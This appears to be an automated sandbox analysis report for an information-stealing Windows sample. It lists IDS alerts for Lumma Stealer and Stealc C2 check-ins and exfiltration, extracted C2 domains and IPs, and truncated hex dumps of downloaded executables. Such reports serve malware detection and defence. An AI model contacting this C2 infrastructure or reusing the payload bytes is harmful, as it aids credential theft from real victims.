Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50062 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50060 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:56201 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:49458 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:49594 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:58177 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50068 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50071 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50070 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50074 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50093 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50073 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50114 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50112 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:64419 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50007 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50119 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49721 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49721 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49728 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49789 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49999 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49999 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50007 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50024 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50024 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50056 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50062 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50068 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50068 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50112 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50016 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:18:29 GMTContent-Type: application/octet-streamContent-Length: 2820096Last-Modified: Wed, 30 Oct 2024 23:13:35 GMTConnection: keep-aliveETag: "6722bd9f-2b0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 8f 98 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 67 6f 6f 74 6e 77 71 00 c0 2a 00 00 a0 00 00 00 a8 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 71 71 6d 66 63 65 75 00 20 00 00 00 60 2b 00 00 04 00 00 00 e2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:18:33 GMTContent-Type: application/octet-streamContent-Length: 1926144Last-Modified: Wed, 30 Oct 2024 23:58:44 GMTConnection: keep-aliveETag: "6722c834-1d6400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 96 4d 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 03 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 02 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 66 62 65 7a 75 6f 72 00 50 1a 00 00 c0 31 00 00 48 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 64 71 71 6d 66 74 67 00 10 00 00 00 10 4c 00 00 04 00 00 00 3e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 42 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:19:09 GMTServer: Apache/2.4.62 (Debian)Last-Modified: Sun, 09 Jun 2024 21:34:49 GMTETag: "68400-61a7bcd5d3040"Accept-Ranges: bytesContent-Length: 427008Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 84 b4 22 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 08 00 00 a4 04 00 00 de 01 00 00 00 00 00 8e c3 04 00 00 20 00 00 00 e0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 06 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 c3 04 00 4b 00 00 00 00 e0 04 00 54 da 01 00 00 00 00 00 00 00 00 00 00 84 06 00 00 00 00 00 00 c0 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 a3 04 00 00 20 00 00 00 a4 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 54 da 01 00 00 e0 04 00 00 dc 01 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 06 00 00 02 00 00 00 82 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 c3 04 00 00 00 00 00 48 00 00 00 02 00 05 00 38 02 03 00 38 b8 01 00 03 00 00 00 04 00 00 06 70 ba 04 00 63 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 00 00 1a 28 03 00 00 06 2a 00 1e 00 28 01 00 00 06 2a 13 30 03 00 98 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 03 00 00 00 36 00 00 00 06 00 00 00 05 00 00 00 38 31 00 00 00 2a 7e 03 00 00 04 25 39 05 00 00 00 38 36 00 00 00 26 20 00 00 00 00 7e 5d 01 00 04 7b 72 01 00 04 39 c4 ff ff ff 26 20 00 00 00 00 38 b9 ff ff ff 7e 02 00 00 04 fe 06 09 00 00 06 73 01 00 00 0a 25 80 03 00 00 04 73 02 00 00 0a 28 03 00 00 0a 20 02 00 00 00 7e 5d 01 00 04 7b 98 01 00 04 3a 85 ff ff ff 26 20 02 00 00 00 38 7a ff ff ff 26 7e 01 00 00 04 14 fe 01 2a 00 00 1a 7e 01 00 00 04 2a 00 2e 73 08 00 00 06 80 02 00 00 04 2a 1e 02 28 04 00 00 0a 2a 1b 30 05 00 e7 05 00 00 02 00 00 11 20 10 00 00 00 fe 0e 0a 00 38 00 00 00 00 fe 0c 0a 00 45 14 00 00 00 a3 00 00 00 4b 03 00 00 7c 03 00 00 18 00 00 00 bb 04 00 00 13 05 00 00 22 05 00 00 81 00 00 00 1f 04 00 00 8c 03 00 00 3a 00 00 00 47 00 00 00 e5 04 00 00 7f 05 00 00 05 00 00 00 71 03 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:19:14 GMTContent-Type: application/octet-streamContent-Length: 2934272Last-Modified: Wed, 30 Oct 2024 23:58:24 GMTConnection: keep-aliveETag: "6722c820-2cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 32 32 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 61 6f 77 6d 62 75 74 00 10 2a 00 00 b0 05 00 00 0a 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 7a 6e 72 70 65 61 75 00 10 00 00 00 c0 2f 00 00 06 00 00 00 9e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 2f 00 00 22 00 00 00 a4 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:19:20 GMTContent-Type: application/octet-streamContent-Length: 2086912Last-Modified: Wed, 30 Oct 2024 23:58:37 GMTConnection: keep-aliveETag: "6722c82d-1fd800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 d0 70 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 71 00 00 04 00 00 91 59 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 28 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 63 78 6b 78 6b 73 6f 00 30 19 00 00 90 57 00 00 26 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6d 64 6c 67 6b 71 69 00 10 00 00 00 c0 70 00 00 06 00 00 00 b0 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 70 00 00 22 00 00 00 b6 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 00:19:26 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 30 Oct 2024 23:13:09 GMTConnection: keep-aliveETag: "6722bd85-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb 